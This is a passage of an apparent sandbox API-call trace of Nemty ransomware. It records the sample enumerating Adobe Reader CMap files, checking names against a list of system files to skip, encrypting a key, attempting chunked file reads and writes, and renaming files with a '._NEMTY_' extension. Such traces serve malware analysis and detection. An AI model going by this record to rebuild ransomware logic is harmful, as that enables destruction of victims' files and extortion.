Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0212.442] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniJIS-UCS2-HW-H", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UniJIS-UCS2-HW-H", lpUsedDefaultChar=0x0) returned 16 [0212.442] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0212.442] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0212.442] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniJIS-UCS2-HW-H", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0212.442] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0212.442] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniJIS-UCS2-HW-H", cchWideChar=16, lpMultiByteStr=0x4f9ed58, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UniJIS-UCS2-HW-H", lpUsedDefaultChar=0x0) returned 16 [0212.442] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0212.443] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0212.443] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0212.443] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0212.443] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0212.443] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0212.443] Sleep (dwMilliseconds=0x5) [0212.454] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x32452970, dwHighDateTime=0x1d561e8)) [0212.454] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x32452970, dwHighDateTime=0x1d561e8)) [0212.454] GetLastError () returned 0x5 [0212.455] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0212.455] GetLastError () returned 0x5 [0212.455] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0212.455] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0212.455] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0212.455] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0212.455] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0212.455] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0212.455] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0212.455] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653e91c | out: pszString="hwXp1tdmR/bFgFggt+rzwOu32gIexUIu83RxxKzbayDESY+i7hqKGSk3eZtBiSWp\r\n+V6YJRO0ZXf+exfZh7eOteJYLpjN7YXxZFrvGPJ3ug7i7sPfQOrSNboCNEAK4Ipz\r\nNRHjJdg5UBwq5qAFujNtS+zBBxKWzvwEK10cD1b5TgwyeCImflV4l+Bn6/LEMZ+9\r\n4Pe0owLTVSl/y6r41JiivoYOeasyuMX9+ZSZey0yGYewY0ldDDHoiQhDcopJe9tJ\r\nYtST49Ei65y8O6CaES+eKfOPYsh2JMQCwG09QObAAWZB/n1WfgtTUNYRV/xWGmQm\r\n98IWVWFIPyRvX3DoEstvCw==\r\n", pcchString=0x653e91c) returned 1 [0212.455] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0212.455] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0212.455] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0212.455] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0212.455] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0212.455] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0212.455] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniJIS-UCS2-HW-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\unijis-ucs2-hw-h"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0212.455] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0212.455] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0212.455] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.455] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0212.466] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.467] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0212.467] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.467] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0212.477] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.477] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0212.477] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.477] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0212.486] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.486] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0212.486] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.486] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0212.496] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.496] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0212.496] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.496] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0212.505] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.505] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0212.505] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.505] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0212.514] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.515] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0212.515] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.515] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0212.524] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.524] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0212.524] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.524] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0212.534] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.534] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0212.534] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.534] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0212.543] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.543] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0212.543] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.543] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0212.552] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.552] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0212.553] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.553] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0212.558] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.559] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0212.559] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.559] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0212.565] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.565] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0212.565] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.565] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348ed8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0212.565] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0212.565] CloseHandle (hObject=0xffffffff) returned 0 [0212.565] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0212.565] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0212.565] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0212.565] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0212.565] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0212.565] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0212.565] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94088 [0212.565] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x4f94130 [0212.565] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0212.565] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0212.565] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniJIS-UCS2-HW-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\unijis-ucs2-hw-h"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniJIS-UCS2-HW-H._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\unijis-ucs2-hw-h._nemty_kgobjgd_")) returned 0 [0212.565] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94130 | out: hHeap=0x4f90000) returned 1 [0212.565] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0212.565] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0212.565] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0212.565] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0212.565] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0212.565] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0212.565] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0212.565] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0212.566] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0212.566] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fab1cc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1b1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="UniJIS-UCS2-HW-V", cAlternateFileName="UNIJIS~3")) returned 1 [0212.566] lstrcmpiW (lpString1="UniJIS-UCS2-HW-V", lpString2=".") returned 1 [0212.566] lstrcmpiW (lpString1="UniJIS-UCS2-HW-V", lpString2="..") returned 1 [0212.566] lstrcmpiW (lpString1="UniJIS-UCS2-HW-V", lpString2="...") returned 1 [0212.566] lstrcmpiW (lpString1="UniJIS-UCS2-HW-V", lpString2="windows") returned -1 [0212.566] lstrcmpiW (lpString1="UniJIS-UCS2-HW-V", lpString2="$RECYCLE.BIN") returned 1 [0212.566] lstrcmpiW (lpString1="UniJIS-UCS2-HW-V", lpString2="rsa") returned 1 [0212.566] lstrcmpiW (lpString1="UniJIS-UCS2-HW-V", lpString2="NTDETECT.COM") returned 1 [0212.566] lstrcmpiW (lpString1="UniJIS-UCS2-HW-V", lpString2="ntldr") returned 1 [0212.566] lstrcmpiW (lpString1="UniJIS-UCS2-HW-V", lpString2="MSDOS.SYS") returned 1 [0212.566] lstrcmpiW (lpString1="UniJIS-UCS2-HW-V", lpString2="IO.SYS") returned 1 [0212.566] lstrcmpiW (lpString1="UniJIS-UCS2-HW-V", lpString2="boot.ini") returned 1 [0212.566] lstrcmpiW (lpString1="UniJIS-UCS2-HW-V", lpString2="boot.ini") returned 1 [0212.566] lstrcmpiW (lpString1="UniJIS-UCS2-HW-V", lpString2="AUTOEXEC.BAT") returned 1 [0212.566] lstrcmpiW (lpString1="UniJIS-UCS2-HW-V", lpString2="ntuser.dat") returned 1 [0212.566] lstrcmpiW (lpString1="UniJIS-UCS2-HW-V", lpString2="desktop.ini") returned 1 [0212.566] lstrcmpiW (lpString1="UniJIS-UCS2-HW-V", lpString2="CONFIG.SYS") returned 1 [0212.566] lstrcmpiW (lpString1="UniJIS-UCS2-HW-V", lpString2="RECYCLER") returned 1 [0212.566] lstrcmpiW (lpString1="UniJIS-UCS2-HW-V", lpString2="BOOTSECT.BAK") returned 1 [0212.566] lstrcmpiW (lpString1="UniJIS-UCS2-HW-V", lpString2="bootmgr") returned 1 [0212.566] lstrcmpiW (lpString1="UniJIS-UCS2-HW-V", lpString2="programdata") returned 1 [0212.566] lstrcmpiW (lpString1="UniJIS-UCS2-HW-V", lpString2="appdata") returned 1 [0212.566] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0212.566] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniJIS-UCS2-HW-V", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0212.566] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0212.566] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniJIS-UCS2-HW-V", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UniJIS-UCS2-HW-V", lpUsedDefaultChar=0x0) returned 16 [0212.566] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0212.566] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0212.566] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniJIS-UCS2-HW-V", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0212.566] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0212.566] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniJIS-UCS2-HW-V", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UniJIS-UCS2-HW-V", lpUsedDefaultChar=0x0) returned 16 [0212.566] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0212.566] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0212.566] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0212.566] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0212.566] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniJIS-UCS2-HW-V", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0212.567] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0212.567] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniJIS-UCS2-HW-V", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UniJIS-UCS2-HW-V", lpUsedDefaultChar=0x0) returned 16 [0212.567] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0212.567] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0212.567] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniJIS-UCS2-HW-V", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0212.567] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0212.567] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniJIS-UCS2-HW-V", cchWideChar=16, lpMultiByteStr=0x4f9ed58, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UniJIS-UCS2-HW-V", lpUsedDefaultChar=0x0) returned 16 [0212.567] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0212.567] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0212.567] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0212.567] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0212.567] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0212.567] RtlAllocateHeap (HeapHandle=0x4f90000, 